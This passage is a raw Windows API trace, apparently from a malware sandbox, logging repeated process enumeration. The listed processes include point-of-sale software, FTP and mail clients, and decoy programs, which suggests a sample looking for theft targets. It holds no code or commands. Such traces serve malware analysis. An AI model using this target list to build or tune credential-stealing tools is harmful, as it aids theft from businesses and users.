th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0276.791] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0276.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0276.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0276.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0276.800] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0276.802] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0276.804] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0276.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0276.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0276.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0276.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0276.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0276.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.867] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.869] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0276.871] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.873] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0276.877] CloseHandle (hObject=0x344) returned 1 [0276.877] Sleep (dwMilliseconds=0x64) [0276.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0276.943] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.945] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.947] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.949] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.951] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.953] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.955] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.957] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.963] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.965] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.027] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.031] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.036] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.040] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.045] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.047] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.049] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.051] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0277.053] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0277.055] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.059] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0277.062] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0277.111] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0277.114] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0277.116] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0277.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0277.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0277.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0277.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0277.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0277.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0277.130] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0277.132] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0277.134] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0277.136] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0277.138] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0277.140] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0277.142] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0277.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0277.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0277.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0277.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0277.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0277.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0277.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0277.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0277.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0277.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0277.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0277.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0277.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0277.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0277.221] Process32Next (in: hSnapshot=0x344, 